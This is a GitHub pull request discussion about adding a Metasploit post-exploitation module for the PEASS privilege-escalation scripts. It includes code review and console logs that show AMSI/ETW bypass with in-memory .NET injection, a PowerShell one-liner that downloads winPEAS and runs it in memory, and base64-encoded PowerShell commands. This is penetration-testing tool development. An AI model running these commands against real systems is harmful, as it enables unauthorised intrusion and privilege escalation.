Skip to content

Add post/multi/gather/peass #20208

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 9 commits into
base: master
Choose a base branch
from
Open

Conversation

jeffmcjunkin
Copy link
Contributor

Based upon discussion in peass-ng/PEASS-ng#465 and the Metasploit Slack, this module is now BSD licensed and may be eligible for inclusion.

I am not the author, merely a fan trying to make two toys kiss integrate PEASS without requiring users to add it themselves.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Gain a meterpreter session through sheer willpower (Windows, or Linux)
  • use post/multi/gather/peass
  • set WINPEASS false (if running against a Linux target)
  • run
  • Receive advice on how to escalate privileges
  • How it works

Based upon discussion in peass-ng/PEASS-ng#465 and the Metasploit Slack, this module is now BSD licensed and may be eligible for inclusion.
)
register_options(
[
OptString.new('WINPEASS', [true, 'Which PEASS script to use. Use True for WinPeass and false for LinPEASS', true]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should be an enumeration rather than a boolean.

[
OptString.new('WINPEASS', [true, 'Which PEASS script to use. Use True for WinPeass and false for LinPEASS', true]),
OptString.new('CUSTOM_URL', [false, 'URL to download the PEASS script from (if not using the default one). Accepts http(s) or absolute path. Overrides the WINPEASS variable', '']),
OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Does this need to be configurable by the user in the first place?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm open to removing it, just wanted to get the conversation started with a Rubocop-passing variant of the original module.

else
# If no Windows, check if base64 exists
if !session.platform.include?('win')
base64_path = cmd_exec('command -v base64')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can use openssl enc -d -A -base64 instead.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is openssl more commonly installed than base64? If so, I'm open to it.

Comment on lines 76 to 82
OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']),
OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),
OptString.new('TIMEOUT', [false, 'Timeout of the execution of the PEASS script (15min by default)', 15 * 60]),
OptString.new('SRVHOST', [false, 'Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.', '']),
OptString.new('SRVPORT', [false, 'Port to download the PEASS script from using http(s) (only used if SRVHOST)', 443]),
OptString.new('SSL', [false, 'Indicate if you want to communicate with https (only used if SRVHOST)', true]),
OptString.new('URIPATH', [false, 'URI path to download the script from there (only used if SRVHOST)', '/' + rand(36**4).to_s(36) + '.txt'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think™ that metasploit has some utilities/function to upload'n'execute scripts/binaries. Summoning @zeroSteiner !

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We do yes and that's probably how I'd write it, where the code is sent directly from Metasploit over the Meterpreter C&C channel rather than fetched out of band via HTTP. However, that'd realistically require us to have the binary within our source tree like we do SharpHound / Bloodhound. The catch there is the license changes would have to also be applied to that code as well for us to distribute. If we're not modifying the binary, I think we'll be compatible with additional licenses.

That approach would have the downside of some one time license research but would likely be both easier for the operator since they'll have fewer options to tinker with and connections to debug and I'd argue more secure in the case of Meterpreter comms.

Copy link
Contributor

@bcoles bcoles left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The rand(36**7).to_s(36) code pattern is used throughout to generate random strings.

Using Rex::Text.rand_text_alphanumeric(7) is preferred.

Or, if lowercase is required: Rex::Text.rand_text_alphanumeric(7).downcase.

@jeffmcjunkin
Copy link
Contributor Author

The rand(36**7).to_s(36) code pattern is used throughout to generate random strings.

Using Rex::Text.rand_text_alphanumeric(7) is preferred.

Or, if lowercase is required: Rex::Text.rand_text_alphanumeric(7).downcase.

Updated, thank you.

@bwatters-r7 bwatters-r7 self-assigned this May 22, 2025
@@ -0,0 +1,396 @@
# Copyright (c) 2025, PEASS-ng owners
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we add this license to the external license file please? @bwatters-r7

OptString.new('SRVHOST', [false, 'Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.', '']),
OptString.new('SRVPORT', [false, 'Port to download the PEASS script from using http(s) (only used if SRVHOST)', 443]),
OptString.new('SSL', [false, 'Indicate if you want to communicate with https (only used if SRVHOST)', true]),
OptString.new('URIPATH', [false, 'URI path to download the script from there (only used if SRVHOST)', '/' + Rex::Text.rand_text_alphanumeric(4) + '.txt'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we add a DeFanged mode OptBool here in order to instruct the user to that they're about to run an external script that might have implications not necessarily included with Metasploit.
https://github.com/search?q=repo%3Arapid7%2Fmetasploit-framework%20DEFANG&type=code

cmd = "curl -k -s \"#{url_download_peass}\""
curl_path = cmd_exec('command -v curl')
if !curl_path.include?('curl')
cmd = "wget --no-check-certificate -q -O - \"#{url_download_peass}\""
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would we be able to make this a datastore option where checking certificates is the default? Maybe a generic option that covers security checks for all methods of downloading.

file.rewind
@temp_file_path = file.path

if datastore['SRVHOST'] == ''
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a circumstance where uploading via https is preferrable to simply uploading through the session?

@bwatters-r7
Copy link
Contributor

FWIW, I'm working on a PR to this..... I'm hoping to have it done in a few days.

@bwatters-r7
Copy link
Contributor

Ugh....... this has been a bit of a boot to the face.

I spent some time looking into this script, and while it is cool, and there are some things it does we cannot replicate, there are more stealthy ways already available we can accomplish a lot of this. The one caveat I would give is to make sure that the scrollback is set to a high value!

The WinPEASS exe is a .NET executable, so we could:

  1. Use the post/windows/manage/execute_dotnet_assembly. I think it was @OJ that recently added the ability to give this module a .NET exe rather than having to doughnut it first. It never touches disk, and we bypass PowerShell entirely:
post/windows/manage/execute_dotnet_assembly
msf post(windows/manage/execute_dotnet_assembly) > show options

Module options (post/windows/manage/execute_dotnet_assembly):

   Name        Current Setting                        Required  Description
   ----        ---------------                        --------  -----------
   AMSIBYPASS  true                                   yes       Enable AMSI bypass
   ARGUMENTS                                          no        Command line arguments
   DOTNET_EXE  /home/tmoose/Downloads/winPEASany_ofs  yes       Assembly file name
               .exe
   ETWBYPASS   true                                   yes       Enable ETW bypass
   SESSION     1                                      yes       The session to run this module on
   TECHNIQUE   SELF                                   yes       Technique for executing assembly (Accepted: SELF, INJECT, SPAWN_AND
                                                                _INJECT)


   When TECHNIQUE is INJECT:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   PID                    no        PID to inject into


   When TECHNIQUE is SPAWN_AND_INJECT:

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   PPID                             no        Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if
                                               unset)
   PROCESS         notepad.exe      no        Process to spawn
   USETHREADTOKEN  true             no        Spawn process using the current thread impersonation


View the full module info with the info, or info -d command.

msf post(windows/manage/execute_dotnet_assembly) > run
[*] Running module against WIN10_21H2_6CFD (10.5.134.164)
[*] Opening handle to process 4796...
[+] Handle opened
[*] Reflectively injecting the Host DLL into 4796 (x64)...
[*] Injecting Host into 4796...
[*] Host injected. Copy assembly into 4796...
[*] Assembly copied.
[*] Executing...
[*] Start reading output
[*] Writing output to /home/tmoose/.msf4/logs/dotnet/log_winPEASany_ofs.exe_20250723105303
 [!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' or 'all' argument. Note that this search might take several minutes. For help, run winpeass.exe --help
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
     
               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########(((((((((((((   
    ((((((((((((********************/#######(((((((((((
    ((((((((******************/@@@@@/****######((((((((((
    ((((((********************@@@@@@@@@@/***,####((((((((((
    (((((********************/@@@@@%@@@@/********##(((((((((
    (((############*********/%@@@@@@@@@/************((((((((
    ((##################(/******/@@@@@/***************((((((
    ((#########################(/**********************(((((
    ((##############################(/*****************(((((
    ((###################################(/************(((((
    ((#######################################(*********(((((
    ((#######(,.***.,(###################(..***.*******(((((
    ((#######*(#####((##################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((#####################/*******(################)((((((
    ((((############################################)((((((
  1. Use post/windows/manage/powershell/exec_powershell to run the powershell command in memory directly with built-in obfuscation. Currently, this is broken, but I have put in a fix here: Remove errant write_log call and swap to the all-in-one psh_exec rath… #20412
post/windows/manage/powershell/exec_powershell
msf post(windows/manage/powershell/exec_powershell) > use post/windows/manage/powershell/exec_powershell 
msf post(windows/manage/powershell/exec_powershell) > show options

Module options (post/windows/manage/powershell/exec_powershell):

   Name     Current Setting                                                           Required  Description
   ----     ---------------                                                           --------  -----------
   SCRIPT   /home/tmoose/rapid7/metasploit-framework/data/post/powershell/msflag.ps1  yes       Path to the local PS script
   SESSION                                                                            yes       The session to run this module on


View the full module info with the info, or info -d command.

msf post(windows/manage/powershell/exec_powershell) > set session 1
session => 1
msf post(windows/manage/powershell/exec_powershell) > set script /home/tmoose/winpeas_load.ps1
script => /home/tmoose/winpeas_load.ps1
msf post(windows/manage/powershell/exec_powershell) > set Powershell::Post::Timeout 600
Powershell::Post::Timeout => 600
msf post(windows/manage/powershell/exec_powershell) > run
[*] $url = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")


[*] Compressing script contents.
[+] Compressed size: 621
[*] Executing the script.
[+] Compressed size: 2632
[*] <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
.
.
.
[!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' or 'all' argument. Note that this search might take several minutes. For help, run winpeass.exe --help
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
     
               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########(((((((((((((   
    ((((((((((((********************/#######(((((((((((
    ((((((((******************/@@@@@/****######((((((((((
    ((((((********************@@@@@@@@@@/***,####((((((((((
    (((((********************/@@@@@%@@@@/********##(((((((((
    (((############*********/%@@@@@@@@@/************((((((((
    ((##################(/******/@@@@@/***************((((((
    ((#########################(/**********************(((((
    ((##############################(/*****************(((((
    ((###################################(/************(((((
    ((#######################################(*********(((((
    ((#######(,.***.,(###################(..***.*******(((((
    ((#######*(#####((##################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((#####################/*******(################)((((((
    ((((############################################)((((((
    (((((##########################################)(((((((
    ((((((########################################)(((((((
    ((((((((####################################)((((((((
    (((((((((#################################)(((((((((
        ((((((((((##########################)(((((((((
              ((((((((((((((((((((((((((((((((((((((
                 ((((((((((((((((((((((((((((((
  1. (This does not work and I don't know why) You should be able to just invoke the executable from your local host to the target memory using exec -m <local_exe> -d <remote_exe_to_launch_and_inject>

@bwatters-r7
Copy link
Contributor

FWIW, post/windows/manage/exec_powershell seems to work, but gives no output?

msf post(windows/manage/exec_powershell) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN10_21H2_6CFD
OS              : Windows 10 21H2 (10.0 Build 19044).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf post(windows/manage/exec_powershell) > reload
[*] Reloading module...
msf post(windows/manage/exec_powershell) > run
[+] Compressed size: 968
[+] Final command JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcASAA0AHMASQBBAEwASQBJAGcAVwBnAEMAQQAwAHQATgB6AHMAaABYADgAQQB4AEwAUwBzADEAMwBMAEMAdQB3AEwAcwAvAE0ASwAwAGgATgBMAEkANwAnACsAJwBQAHkAVQA5AE0AMABTAHMAbwBOAHsAMAB9AFIAVwBTAEEAWABKAGwALwBsAEgAWgBDAFIARwBoAEwAbwBDAEEASgBlAFUANQBhAHMAdABBAEEAQQBBACcAKQAtAGYAJwByACcAKQApACkAKQAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQBlAGMAaABvACAAJwBQAFEARQBKAFUAUABoAFgAJwA7AA==
[+] EXECUTING:
powershell.exe -EncodedCommand JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcASAA0AHMASQBBAEwASQBJAGcAVwBnAEMAQQAwAHQATgB6AHMAaABYADgAQQB4AEwAUwBzADEAMwBMAEMAdQB3AEwAcwAvAE0ASwAwAGgATgBMAEkANwAnACsAJwBQAHkAVQA5AE0AMABTAHMAbwBOAHsAMAB9AFIAVwBTAEEAWABKAGwALwBsAEgAWgBDAFIARwBoAEwAbwBDAEEASgBlAFUANQBhAHMAdABBAEEAQQBBACcAKQAtAGYAJwByACcAKQApACkAKQAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQBlAGMAaABvACAAJwBQAFEARQBKAFUAUABoAFgAJwA7AA== -InputFormat None
[+] Cleaning up 8060
[+] EXECUTING:
powershell.exe -EncodedCommand JgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcASAA0AHMASQBBAEwAVQBJAGcAVwBnAEMAQQA0AHQAMgB6AFMAewAxAH0ATABMAE0AcgBQAHkAMAAzAE4ASwA0AG0AMQBzAG4ASgBQAEwAVQBFAFMAQwBFAHMAcwB5AGsAeABNAHkAawBrAHQAMQBsAEEAUABMAFUANAB0AFUAdABmAFUAeQAwADYAdABMAEsANABKAFQAcwAxAEoAVABTADcAUgBEAFMANABwAHkAcwB4AEwAVgAwAGoATQBkAFUAdAAwAEwAWABjAHEAcQBsAEcAdABqAGsAWQAxAEwAQgBpACcAKwAnAHIAWQBSAG8AcQA4AFQAbwBxAGUAYQBVAHsAMAB9AE8AVABwAFEAUQAyAHMAQgBHAGgAbQBvAFoAbwBRAEEAQQBBACcAKwAnAEEAPQAnACkALQBmACcANQAnACwAJwB2ACcAKQApACkAKQAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQBlAGMAaABvACAAJwBQAFEARQBKAFUAUABoAFgAJwA7AA== -InputFormat None
[*] 
[+] Finished!
[*] Post module execution completed
msf post(windows/manage/exec_powershell) > 

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

6 participants